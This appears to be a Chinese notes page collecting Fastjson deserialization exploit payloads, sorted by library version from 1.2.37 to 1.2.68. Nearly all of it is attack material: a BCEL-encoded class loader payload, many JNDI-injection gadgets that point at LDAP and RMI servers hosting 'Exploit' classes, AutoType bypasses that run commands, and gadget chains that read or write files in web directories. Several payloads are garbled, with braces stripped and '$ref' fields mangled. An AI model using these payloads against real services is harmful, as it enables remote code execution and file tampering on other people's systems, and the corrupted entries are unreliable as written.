99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A" : "xxx"
bcelpayload -1.2.37<=fastjson<=1.2.47
"name": "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "x" : "name": "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "y": "@type":"com.alibaba.fastjson.JSONObject", "c": "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driverClassName":"$$BCEL$..", "$ref": "$.x.y.c.connection"
4.fastjson >1.2.48
Fastjson1.2.50 <= 1.2.59
需要开启AutoType
“@type”:“com.zaxxer.hikari.HikariConfig”,“metricRegistry”:“ldap://localhost:1389/Exploit”
“@type”:“com.zaxxer.hikari.HikariConfig”,“healthCheckRegistry”:“ldap://localhost:1389/Exploit”
Fastjson1.2.50 <= 1.2.60
无需开启 autoType:
“@type”:“oracle.jdbc.connector.OracleManagedConnectionFactory”,“xaDataSourceName”:“rmi://10.10.20.166:1099/ExportObject”
“@type”:“org.apache.commons.configuration.JNDIConfiguration”,“prefix”:“ldap://10.10.20.166:1389/ExportObject”
Fastjson1.2.50<= 1.2.61
“@type”:“org.apache.commons.proxy.provider.remoting.SessionBeanProvider”,“jndiName”:“ldap://localhost:1389/Exploit”,“Object”:“a”
Fastjson <1.2.62
需要开启AutoType;
Fastjson <= 1.2.62,JNDI注入利用所受的JDK版本限制,目标服务端需要存在xbean-reflect包;
“@type”:“org.apache.xbean.propertyeditor.JndiConverter”,“AsText”:“rmi://127.0.0.1:1098/exploit”
“@type”:“org.apache.cocoon.components.slide.impl.JMSContentInterceptor”,
“parameters”:
“@type”:“java.util.Hashtable”,“java.naming.factory.initial”:“com.sun.jndi.rmi.registry.RegistryContextFactory”,“topic-factory”:“ldap://localhost:1389/Exploit”,
“namespace”:“”
fastjson<=1.2.66
前提条件:
开启AutoType;
Fastjson <= 1.2.66,JNDI注入利用所受的JDK版本限制,org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包,br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包,com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
“@type”:“org.apache.shiro.jndi.JndiObjectFactory”,“resourceName”:“ldap://192.168.80.1:1389/Calc”
“@type”:“org.apache.shiro.realm.jndi.JndiRealmFactory”,
“jndiNames”:[“ldap://localhost:1389/Exploit”], “Realms”:[“”]
“@type”:“br.com.anteros.dbcp.AnterosDBCPConfig”,“metricRegistry”:“ldap://192.168.80.1:1389/Calc”
“@type”:“br.com.anteros.dbcp.AnterosDBCPConfig”,“healthCheckRegistry”:“ldap://localhost:1389/Exploit”
“@type”:“org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,“jndiNames”:“ldap://192.168.80.1:1389/Calc”
“@type”:“com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig”,“properties”:
“@type”:“java.util.Properties”,“UserTransaction”:“ldap://192.168.80.1:1399/Calc”
适用于jdk11以上版本的写文件的payload:
“@type”: “java.lang.AutoCloseable”, “@type”:
“sun.rmi.server.MarshalOutputStream”, “out”: “@type”:
“java.util.zip.InflaterOutputStream”, “out”: “@type”:
“java.io.FileOutputStream”, “file”: “/tmp/asdasd”, “append”: true ,
“infl”: “input”: “array”: “eJxLLE5JTCkGAAh5AnE=”, “limit”: 14 ,
“bufLen”: “100” , “protocolVersion”: 1
fastjson<=1.2.67
前提条件
开启AutoType;
Fastjson <= 1.2.67;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
“@type”:“org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,
“jndiNames”:[“ldap://localhost:1389/Exploit”], “tm”: “ r e f " : " ref":" ref":".tm”
“@type”:“org.apache.shiro.jndi.JndiObjectFactory”,“resourceName”:“ldap://localhost:1389/Exploit”,“instance”:“ r e f " : " ref":" ref":".instance”
Fastjson<=1.2.68
Fastjson <= 1.2.68;
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
“@type”:“org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig”,“metricRegistry”:“ldap://localhost:1389/Exploit”
“@type”:“org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig”,“healthCheckRegistry”:“ldap://localhost:1389/Exploit”
“@type”:“com.caucho.config.types.ResourceRef”,“lookupName”:
“ldap://localhost:1389/Exploit”, “value”: “ r e f " : " ref":" ref":".value”
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:
“@type”:“java.lang.AutoCloseable”,“@type”:“vul.VulAutoCloseable”,“cmd”:“calc”
读文件“@type”:“java.lang.AutoCloseable”,
“@type”:“org.eclipse.core.internal.localstore.SafeFileOutputStream”,
“tempPath”:“C:/Windows/win.ini”, “targetPath”:“D:/wamp64/www/win.txt”
写文件
“stream”:
“@type”: “java.lang.AutoCloseable”,
“@type”: “org.eclipse.core.internal.localstore.SafeFileOutputStream”,
“targetPath”: “D:/wamp64/www/hacked.txt”,
“tempPath”: “D:/wamp64/www/test.txt” , “writer”:
“@type”: “java.lang.AutoCloseable”,
“@type”: “com.esotericsoftware.kryo.io.Output”,
“buffer”: “cHduZWQ=”,
“outputStream”:
“ r e f " : " ref": " ref":".stream”
,
“position”: 5 , “close”:
“@type”: “java.lang.AutoCloseable”,
“@type”: “com.sleepycat.bind.serial.SerialOutput”,
“out”:
“ r e f " : " ref": " ref":".writer”
写文件
‘stream’:
‘@type’:“java.lang.AutoCloseable”,
‘@type’:‘java.io.FileOutputStream’,
‘file’:‘/tmp/nonexist’,
‘append’:false , ‘writer’:
‘@type’:“java.lang.AutoCloseable”,<以上是关于Fastjson利用笔记的主要内容,如果未能解决你的问题,请参考以下文章